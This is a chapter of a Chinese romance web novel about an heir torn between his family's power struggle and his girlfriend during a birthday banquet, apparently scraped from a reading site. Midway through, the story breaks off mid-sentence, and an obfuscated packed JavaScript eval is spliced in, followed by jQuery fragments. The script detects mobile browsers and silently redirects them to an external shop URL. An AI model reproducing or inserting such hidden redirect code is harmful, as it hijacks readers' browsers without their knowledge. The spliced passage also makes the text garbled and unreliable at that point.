81.第 81 章
作品:《港岛春日》 门被余珺彦从外面关上。
余萧弋跌回地板,就那么定定盯着头顶的吊灯很久。
世界从来没有如此安静过,心脏被前后贯穿的滋味痛到他蜷缩,每呼吸一下换来的都是眼泪更汹涌的决堤。
不应该的。
他在心里对自己说。
从小就作为继承人重点培养、十八岁就已经在家族事务和生意决策上拥有一定话语权的他,什么权与利的争斗和人心的险恶没见过?
相比之下,余珺彦这手明牌,已经算是阳谋。
而且,他不是早预判他和他之间早晚会有这样一场角逐了吗,既然如此,他又在难过什么?
忽而他又笑出来,开始佩服余珺彦的高明。
从余淙淙出事被召唤回国到现在,也就短短两个月,他就已经将他余萧弋的一颗心算无遗策,笃定他别无选择只能成为他的一把刀。
余蓁蓁没骂错,他的确太不懂掩藏心事,才让自己的软肋成为了别人的攻击目标。
想必,上次将他和方太初恋爱的消息卖给狗仔就已经是余珺彦的一次试探了吧。
试探两人是会因此而退缩还是更加维护彼此。
他笑。
笑余珺彦浪费心思。他这样一个只要遇上她就变患得患失容易情绪失控的笨蛋,他就算试一万次,也次次都会试中的,好吗?
他倒是不在乎自己成为那把刀,他在乎的是,这一刀斩下去,带来的血雨腥风,究竟是不是余家能承受的。
那本账本,必定牵一发而动全身,除了余巍巍本人,不定还会波及到余家得罪不起的哪位大人物,这一切余珺彦这个平等恨余家每个人的人可以无所谓,他余萧弋却不能不仔细权衡。
事情太大,不跟父母商量肯定是不行的,余珺彦是猜人心的高手,既然他说账本在他们手里,那就一定在。
可又要他怎么开口呢,若说实话,父母一定会误会是方太初用情不专,在他们兄弟二人之间摇摆不定,才导致他被人牵制。
那任凭他们怎么喜欢她,他和她的事,都算完了。
就像真逼得余珺彦发疯,把那些蒙太奇色彩的照片放给媒体,他和她也完了一样。
他们这样的人家,最注重体面,当年余珺彦的母亲都和余家没关系了还不被允许新恋情见诸报端呢,他和余珺彦两个被器重的备选继承人怎么可能被容忍和一段“三角关系”的绯闻产生瓜葛?
到那时候,真相怎样就不重要了。
他们有的是办法,逼他放手,让方太初这个名字,从此成为港岛传媒业提及余家时的禁词。
话说回来,方家难道就会任凭自家掌上明珠被无辜卷入他们余家肮脏的内斗吗?
若真有那么一天,想必街头小报的油墨还没干,方协文夫妇就已经将女儿带回北京了,连个告别的时间都不会给他们预留。
别说这辈子,下辈子他都别想再见到她。
余珺彦可以玉石俱焚,他却不能冒险。
失去她,他也活不成了。
如果人都没了,所有的钱,权,继承人的身份对他而言又有什么意义?
但若不说实话,他又该怎么师出有名,让父母不会对他的动机产生怀疑?
他很清楚,没有他们的帮忙,仅凭他个人能力,即便拿得到账本,他也很难精准找到切入点。
但比这些更棘手的是,他根本拿不准父母会不会帮他。
他们有他们出于大局的考量,除了他自己,没有人一定会为他的爱情买单。
即便最后诸事皆顺,余巍巍真被他搞进了监狱,余绍鸿和董事会的股东们又会怎么看他?
一个罔顾亲情为了夺权做事一点余地都不留的人,还值得信任和重用吗?
失去了家族的信任,他将来又拿什么去爱自己爱的人,匹配她的一切呢?
余萧弋死死攥紧掌心里的宝石耳饰,活了二十几年,从没有像此刻这样无助过。
此事至此,似乎无论他怎么做,都已注定是输局,而余珺彦则真成了那个无辜的既得利益者,且永远手里都会握着一把悬于他头顶的剑,只要他还爱方太初一天,就要因此而提心吊胆一天。
此题已无解。
姓余,就是他的原罪。
打开手机,才发现她给他发了好多条消息过来。
【仔仔拉我说话,罗里吧嗦说了一堆我也没抓住他的重点,只是感觉他今天心情好像并没有想象中那么好,莫非是人真的长大了?】
【刚刚猜谁和我擦肩而过?Marissa杨!不过幸好室内光线暗,她貌似并没有看见我。】
【Theo余你果真不喜欢的人连朋友也没得做吗?】她发来一个调皮的表情,【若哪天你也不喜欢我了,是不是连乘坐航班都会刻意避开北京的空域?】
过了十几分钟,才是下一条:【人呢?】
【哦,铭仔说你有事出去了。我好饿,就不等你了哦。】
【今晚的菜不错。】
【叫你不好好教我粤语,导致主持人讲的我一句没听懂。】
又过了半晌,【仔仔一会儿好像有show time,他叫我帮他听一下几句歌词的韩语发音。他知不知这样好耽误人吃饭啊!】
【喜欢那个蟹黄官燕羹,你回来别忘了尝。】
余萧弋抿了抿唇,一行眼泪落在身下的羊毛地毯上,无声无息。
他爬起身,缓步走到卫生间,拧开水龙头洗了一把脸,再抬头,面上半个小时前还残存的春风得意已消失无踪,剩下的唯有痛苦,迷茫,以及愧疚。
痛苦他走不出的困境,迷茫他看不穿的未来,愧疚她因他而陷入的不堪。
她本应该永远那么率真明媚不染俗尘的,不是吗?
都是他的错。
他抬起手,很想重重给自己一巴掌,但最后还是停在半空。
余蓁蓁的话在耳边响起。
他的脊骨还不能塌。
更不能顶着一张狼狈不堪的脸出现在所有人面前。
她还在那里,等着他。
那么聪明的人,肯定一眼就能看出他的不对劲,而他不能,绝不能,让她知道发生了什么事。
再次回到宴会厅的时候,席间气氛已渐入佳境。
舞台上某知名主持人正和余淙淙插科打诨,两人你一句我一句,惹得台下宾客笑声不断,时不时就响起一阵热烈的掌声。
他讥诮地扯了扯嘴角,他这个小叔在娱乐圈打拼这么多年,一部经典作品没留下,痞帅的气质倒是随着年龄逐年增长,如今就这么老油条似的站在那讲几句笑话,竟然也有这么多人买账。
而且看上去,他是真的很快乐。
不知怎么,他竟有几分羡慕。
巡视了一圈,余萧弋也没有看到方太初的身影。
反而看见余珺彦举着酒杯,微微挑眉朝他扬了扬下巴。
他别开视线,指尖无意识地摩挲着西装的袖口,径直走向曹旸。
“小余总。”曹旸起身,探寻地看了他一眼,“方小姐舞台侧方的化妆间。”
“谢谢。”余萧弋弯唇,将手里的宝石耳饰递给她,“这个一会儿你帮我交给她。”
曹旸有一瞬间的怔愣。
但她向来是个执行力强的人,也没多问,只是小心将东西收了。
余萧弋立刻明白她是知道内情的,但还是嘱咐了一句:“别告诉她是我给的,就说……”他顿了顿,看了看舞台方向,声音很轻,“就说是余珺彦让你转交给她的。”
他脸上的表情明明那么平静,曹旸脊背却不知怎么生出一层冷汗,下一秒,她就垂下了眸子,应声道:“知道了,小余总。”
余萧弋点点头,嘴角仍是带着笑的,“听说今天的菜不错,你多吃点。”
*
化妆间里只有小初和余萧泽两人。
说是让她帮忙纠正发音,但她听着他几首歌都唱得挺好的,连音准都无可挑剔,也没什么她发挥的空间,便借机想溜:“行,已经很完美了,再苛求就有点超过了。没什么事我就回去吃饭了。”
“姐姐。”余萧泽一把拉住她,“再陪陪我。”
小初没好气拍掉他的手,“说话就说话,拉拉扯扯干什么?”
“好。”余萧泽从善如流,“是不是我规规矩矩,你就能留下来?”
小初答得干脆:“不是。”
余萧泽垂了垂嘴角。
“你到底跟我有什么话说,痛快点,别浪费时间。我都一晚上没好好陪你哥了。”
“你好伤人,今天是我生日哎。”
“你生日又怎样,又不是明天后天不能见。”
余萧泽忽然目光灼灼看向她,“若真的明天开始再见不到面呢?”
小初脑子有句话刚要出口,又被她紧急收了回去,今天毕竟是他生日,有些谶,还是要避讳一下。
于是她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807750|182866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问:“为什么?”
余萧泽答非所问,慧黠地眨了眨眼:“你觉得我去韩国做练习生的话,最快多久能出道?”
小初瞥他,“我怎么知道?我要有这么好的市场眼光,早开娱乐公司去了。”又问,“你是在开玩笑还是认真的,你爸妈答应了?”
“那你别管。”
小初认真看了看他,“说实话,你这形象,唱功,舞台风格的确都还蛮讨喜的,但是你老了啊,如果真的几年都出不了道,你算算你都多大了。再说,这个行业竞争多激烈啊,你确定你吃得了那个苦吗?”
余萧泽指了指自己的脸,“我老了?你认真的吗方太初,我老了吗?”
小初大笑,“行吧,不老。”
“你总小瞧我,等我哪天真成了超级巨星,姐姐可别后悔。”
“好。”小初收起笑容,神情逐渐认真,像是在送他真正的成年礼物,“真有那一天,姐姐就把全国所有省会,首府,直辖市以及特别行政区的地标级LED屏都包下来给你打call,让你的名字在同一时刻闪耀在整个神州大地的夜空中,怎么样?”
余萧泽被她的豪情感染,也有些激动,“一言为定!”
然后又补充,“即使那会儿你和我哥已经分了手也不能反悔的哦!”
小初想揍他:“我们不会分手!”
正说着话,曹旸发来微信,【小余总回来了。】
小初顾不上他,只匆匆说了句“拜拜”,就提着裙角跑了出去。
回到宴会厅的时候,台上某位家喻户晓的女歌手正在唱歌,一首很动听的情歌,小初倚在一根罗马柱边,静静听了一会儿。从她这个角度看过去,余萧弋的侧颜如刀刻,眉眼处的线条尤为流畅,在这个浪漫的氛围里更是有种说不出的味道。
可不知怎么,她总觉得他有些落寞,没有离开之前那么快乐了。
有人过去敬酒,他也来者不拒,一首歌的时间,她看他就喝了四五个小半杯。
她不知他酒量如何,更从没见过他醉的样子,但……这种喝法,真的没问题吗?
正想提裙回到他身边,一转身却撞上曹旸。
“小姐,这个要不要戴上?”曹旸扬了扬手中的宝石耳饰。
小初拍了拍额头,对自己也有些无语,笑得眼睛里似有银河倒转,“你不提醒我都忘了这事了!”继而微微侧身,将耳垂递给她,“OK啊,你帮我戴。”
曹旸沉默执行。
戴完一只,她又背过身去,将另一只耳饰从包里拿出来,然后她才想起什么来,侧眸问道:“余珺彦亲自给你送过来的?”
曹旸不喜欢撒谎,于是没有看她的眼睛,只是微微“嗯”了一声。
小初挑了挑眉,“原以为他会为此敲我一竹杠呢,不想竟这么痛快?”
曹旸心想,会不会已经敲过了,只是你不知道呢?
不过她向来不是个多话的人,在形势不明之前,她的习惯向来是,再观察观察。
回到座位的时候,刚好到余萧泽的show time,余萧弋目光投在舞台上,并没有注意到她的到来,还是她的手先从背后捏了捏他的耳垂,他才蓦地回过头来。
四目相对,他的目光有些沉,小初不确定他是不是喝醉了,于是在他面前晃了晃手指,“怎么了Theo余,傻了?”
他这才笑着拉她在身边坐下,笑得比她认识他的任何一个时刻都动人,甚至有种染着酒气的欲的味道,“Babe,我想你了,你想我了吗?”
小初这才确定他是真的醉了,才半个多小时不见,谈什么想不想……于是赶紧舀了一口炖盅里的汤喂给他,半是嗔怪半是关心:“你醉了,喝点汤,醒醒酒吧。”
他就那么就着她的手将那口汤慢慢咽了下去,却撒着娇还要第二口,“喂都喂了,干脆喂完吧。”
“你疯了?”小初总觉得他哪里不对劲,脸红了一片,“周围都是人。”
离他们最近的铭仔第一个捕捉到这个画面,立刻夸张地用双手捂住了脸,透过指缝打趣道:“放心,周围的人什么都没看到,你们继续,继续。”
一桌子的损友都笑起来。
余萧弋的目光落在她耳垂下方流光璀璨的耳饰上,琥珀色的瞳仁像被谁骤然点了墨,“粉色的确很衬你。”
“的确?”
小初疑惑地看了他一眼。
有什么念头一闪而过,她想抓住的时候,已经晚了。

